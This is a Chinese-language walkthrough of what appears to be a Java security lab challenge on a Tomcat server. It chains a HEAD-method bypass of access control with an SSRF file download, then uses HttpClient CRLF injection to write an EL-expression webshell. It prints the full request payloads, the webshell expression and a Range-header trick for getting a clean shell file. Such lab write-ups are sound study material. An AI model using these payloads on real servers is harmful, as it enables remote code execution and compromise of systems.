下載https://github.com/cwkiller/Java-Puzzle/tree/main/Tomcat's%20Secret%20Chamber
啟動(dòng)start.bat 即可。
http://10.211.55.3:8088/admin/getimg.jsp
默認(rèn)訪問(wèn)為403

翻找xml配置文件,可以找到

GET、POST 進(jìn)行了權(quán)限控制。
options查看支持的方法。

對(duì)應(yīng)的class文件
E:\apache-tomcat-9.0.10\work\Catalina\localhost\ROOT\org\apache\jsp\admin\getimg_jsp.class

可以看到驗(yàn)證邏輯。
支持HEAD 方法

成功繞過(guò)。
技巧:
刪除HTTP/1.1,可以看到回顯。

觀察代碼需要一個(gè)url參數(shù)和token參數(shù),并實(shí)現(xiàn)了一個(gè)遠(yuǎn)程文件下載。
如果出網(wǎng)漏洞就很簡(jiǎn)單了。
遠(yuǎn)程下載文件

文件寫入到/img/目錄下,且保持原文件名。

如果不出網(wǎng)呢?httpClient不支持其他協(xié)議,只能使用http/https。
使用127.0.0.1實(shí)現(xiàn),此時(shí)寫進(jìn)去的內(nèi)容就是返回包里的內(nèi)容。
比如訪問(wèn)一個(gè)不存在的資源文件。

寫入的內(nèi)容就是404的響應(yīng)內(nèi)容。

后綴名可控,文件內(nèi)容哪些是可控的?
利用GET請(qǐng)求訪問(wèn)一個(gè)不存在的資源,查看返回包內(nèi)容。

當(dāng)header頭存在\r\n時(shí),輸入的值就會(huì)回顯到返回包。
那么對(duì)應(yīng)著
/admin/getimg.jsp?url=http://127.0.0.1:8888/1.txt&token=11
在token處可以嘗試偽造\r\n,將可控的內(nèi)容寫進(jìn)文件。
當(dāng)我們構(gòu)造
/admin/getimg.jsp?url=http://10.211.55.2:8888/1.txt&token=1121%0a%0dxxxxx

沒(méi)有預(yù)期出現(xiàn)回撤換行,而是空格。
搜索文章可以找到HttpClient 4.5.7 及更低版本存在 CRLF 注入漏洞。
\u560d\u560a可以替換為\r\n以后導(dǎo)致CRLF 注入。

/admin/getimg.jsp?url=http://10.211.55.2:8888/1.txt&token=11%E5%98%8D%E5%98%8Axxxxx

現(xiàn)在xxx這個(gè)位置就可以作為webshell寫入。
那寫什么樣的webshell呢?這個(gè)地方不支持<>尖括號(hào),但是支持{},可以使用EL表達(dá)式構(gòu)造webshell。
${param.getClass().forName(param.error).newInstance().getEngineByName(param.Engine).eval(param.cmd)}
構(gòu)造數(shù)據(jù)包
/admin/getimg.jsp?url=http://10.211.55.3:8088/1.jsp&token=11%E5%98%8D%E5%98%8A$%7Bparam.getClass().forName(param.error).newInstance().getEngineByName(param.Engine).eval(param.cmd)%7D
成功寫入。

再通過(guò)js表達(dá)式寫入內(nèi)存馬

將其url編碼,作為cmd參數(shù)值傳遞即可。


在上面寫EL表達(dá)式webshell的時(shí)候,存在很多臟字符。
可以使用Range: bytes=12-30 header頭進(jìn)行處理。
/admin/getimg.jsp?url=http://10.211.55.3:8088/1.txt&token=11%E5%98%8D%E5%98%8A$%7Bparam.getClass().forName(param.error).newInstance().getEngineByName(param.Engine).eval(param.cmd)%7D
依然是先將EL表達(dá)式寫進(jìn)1.txt文件里。
而后利用該header頭截取出webshell,因?yàn)榻厝∥募粫?huì)截取/后作為文件名??梢岳?/p>
/1.txt?id=/cmd.jsp
使其產(chǎn)生一個(gè)新的文件。
/admin/getimg.jsp?url=http://127.0.0.1:8088/img/1.txt?id=/cmd.jsp&token=1%E5%98%8D%E5%98%8ARange:+bytes=1350-1449
這樣就得到了一個(gè)純凈的webshell

獲取path信息
java.lang.System.getenv('PATH')
寫入文件
var fw = new java.io.FileWriter("test.txt"); fw.write("Hello"); fw.close();
